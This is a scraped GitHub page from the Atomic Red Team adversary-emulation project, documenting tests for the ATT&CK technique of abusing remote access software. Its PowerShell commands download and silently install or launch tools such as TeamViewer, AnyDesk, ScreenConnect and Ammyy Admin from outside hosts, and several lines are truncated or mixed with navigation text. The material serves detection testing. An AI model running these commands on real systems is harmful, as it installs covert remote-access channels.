

Product ▾ Solutions ▾ Resources ▾ Open Source ▾ Enterprise ▾ Pricing

Q

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork

2.8k

Star

9.7k

<> Code

Issues 6

Pull requests 5

Actions

Wiki

Security

Insights

Files

f339e7d

Go to file

> .github

> atomic_red_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

> T1036.006

> T1036

atomic-red-team / atomics / T1219 / T1219.md

Atomic Red Team doc generat... Generated docs from job=generate-d... 1324d0f · 2 years ago History

PreviewCodeBlame

365 lines (199 loc) · 11.8 KB

Raw

T1219 - Remote Access Software

Description from ATT&CK

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)

Remote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](#)).

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)

Atomic Tests

• [Atomic Test #1 - TeamViewer Files Detected Test on Windows](#)

• [Atomic Test #2 - AnyDesk Files Detected Test on Windows](#)

• [Atomic Test #3 - LogMeIn Files Detected Test on Windows](#)

• [Atomic Test #4 - GoToAssist Files Detected Test on Windows](#)

• [Atomic Test #5 - ScreenConnect Application Download and Install on Windows](#)

• [Atomic Test #6 - Ammyy Admin Software Execution](#)

• [Atomic Test #7 - RemotePC Software Execution](#)

• [Atomic Test #8 - NetSupport - RAT Execution](#)

Atomic Test #1 - TeamViewer Files Detected Test on Windows

Page 1 of 6

- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S;
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
```

Cleanup Commands:

```
$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null
```

Atomic Test #2 - AnyDesk Files Detected Test on Windows

An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://anydesk.com
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
```

Cleanup Commands:

```
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe.exe"
Remove-Item $file1 -ErrorAction Ignore
```

Atomic Test #3 - LogMeIn Files Detected Test on Windows

An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://logmein.com
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
```

```
Start-Process -Wait $file1 /quiet;  
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe'
```

Cleanup Commands:

```
get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package  
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"  
Remove-Item $file1 -ErrorAction Ignore
```

Atomic Test #4 - GoToAssist Files Detected Test on Windows

An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.e  
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"  
Start-Process $file1 /S;
```

Cleanup Commands:

```
try{$PathToAtomicsFolder/T1219/Bin/GoToCleanup.ps1} catch{}
```

Atomic Test #5 - ScreenConnect Application Download and Install on Windows

An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory. Msiexec will be used to quietly insall ScreenConnect.

Supported Platforms: Windows

auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"  
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront  
msiexec /i $installer /qn
```

Cleanup Commands:

```
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"  
msiexec /x $installer /qn
```

Atomic Test #6 - Ammy Admin Software Execution

An adversary may attempt to trick the user into downloading Ammy Admin Remote Desktop Software for use as a C2 channel. Upon successful execution, Ammy Admin will be executed.

Supported Platforms: Windows

auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa

Inputs:

Name	Description	Type	Default Value
Ammy_Admin_Path	Path of Ammy Admin executable	Path	\$env:temp\ammy.exe

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

Start-Process #{Ammy_Admin_Path}

Cleanup Commands:

Stop-Process -Name "Ammy" -force -erroraction silentlycontinue

Dependencies: Run with powershell !

Description: Ammy Admin must exist on disk at the specified location (#{Ammy_Admin_Path})

Check Prereq Commands:

if (Test-Path #{Ammy_Admin_Path}) {exit 0} else {exit 1}

Get Prereq Commands:

Start-BitsTransfer -Source "https://web.archive.org/web/20140625232737/h

Atomic Test #7 - RemotePC Software Execution

An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. Upon successful execution, RemotePC will be executed.

Supported Platforms: Windows

auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce

Inputs:

Name	Description	Type	Default Value
RemotePC_Path	Path of RemotePC executable	Path	\$env:temp\RemotePC.exe

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

Start-Process #{RemotePC_Path}

Cleanup Commands:

Start-BitsTransfer -Source "https://nsproducts.azureedge.net/nsm-1270/en 